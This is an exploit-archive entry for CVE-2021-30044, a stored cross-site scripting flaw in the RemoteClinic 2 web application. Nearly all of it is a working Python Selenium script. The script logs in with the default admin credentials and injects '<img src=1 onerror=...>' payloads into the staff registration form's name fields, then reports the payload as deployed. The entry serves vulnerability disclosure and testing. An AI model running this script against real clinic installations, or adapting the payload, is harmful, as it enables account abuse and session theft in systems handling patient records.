[webapps] RemoteClinic 2 - 'Multiple' Cross-Site Scripting (XSS)

# Exploit Title: RemoteClinic 2 - 'Multiple' Cross-Site Scripting (XSS) # Exploit Author: nu11secur1ty # Debug: g3ck0dr1v3r # Date: 04/21/2021 # Vendor Homepage: https://remoteclinic.io/ # Software Link: https://github.com/remoteclinic/RemoteClinic # CVE: CVE-2021-30044 [+] Exploit Source: https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-30044 [Exploit Program Code] #!/usr/bin/python3 # Author: @nu11secur1ty # Debug: g3ck0dr1v3r # CVE-2021-30044 from selenium import webdriver import time #enter the link to the website you want to automate login. website_link="http://localhost/RemoteClinic/login/" #enter your login username username="admin@domain.ext" #enter your login password password="remoteclinic" #enter the element for username input field element_for_username="user_id" #enter the element for password input field element_for_password="password" #enter the element for submit button element_for_submit="submit" # Dai brauzura aaa ta eba browser = webdriver.Chrome() #uncomment this line,for chrome users #browser = webdriver.Firefox() #uncomment this line,for chrome users #browser = webdriver.Safari() #for macOS users[for others use chrome vis chromedriver] # Otvarai da ne vlazam s kasata browser.get((website_link)) # Run... try: username_element = browser.find_element_by_name(element_for_username) username_element.send_keys(username) password_element = browser.find_element_by_name(element_for_password) password_element.send_keys(password) ### Login signInButton = browser.find_element_by_name(element_for_submit) signInButton.click() ### Exploit element_for_natrutvanie="submit" browser.get(("http://localhost/RemoteClinic/staff/register.php")) ### Inner text... browser.execute_script("document.querySelector('[name=\"first_name\"]').value = '<img src=1 onerror=alert(`Please_fix_it`)>'") browser.execute_script("document.querySelector('[name=\"last_name\"]').value = '<img src=1 onerror=alert(`Please_fix_it`)>'") browser.execute_script("document.querySelector('[name=\"userid\"]').value = 'nu11secur1ty@gmail.com'") browser.execute_script("document.querySelector('[name=\"passkey\"]').value = 'password'") browser.execute_script("document.querySelector('[name=\"contact\"]').value = '123456789'") browser.execute_script("document.querySelector('[name=\"mobile\"]').value = '12345678910'") browser.execute_script("document.querySelector('[name=\"skype\"]').value = 'nu11secur1ty'") browser.execute_script("document.querySelector('[name=\"address\"]').value = 'Kurec A 31'") browser.find_element_by_name('image').send_keys("C:\\Users\\nu11secur1ty\\Desktop\\CVE\\CVE-2021-30044\\nu11secur1ty.png") time.sleep(5) # Submit exploit signInButton = browser.find_element_by_name(element_for_natrutvanie) signInButton.click() # Maani sa i testwai posle time.sleep(1) browser.get(("http://localhost/RemoteClinic/login/signout.php")) browser.close() print("payload is deployed...\n") except Exception: #### This exception occurs if the element are not found in the webpage. print("Some error occured :(")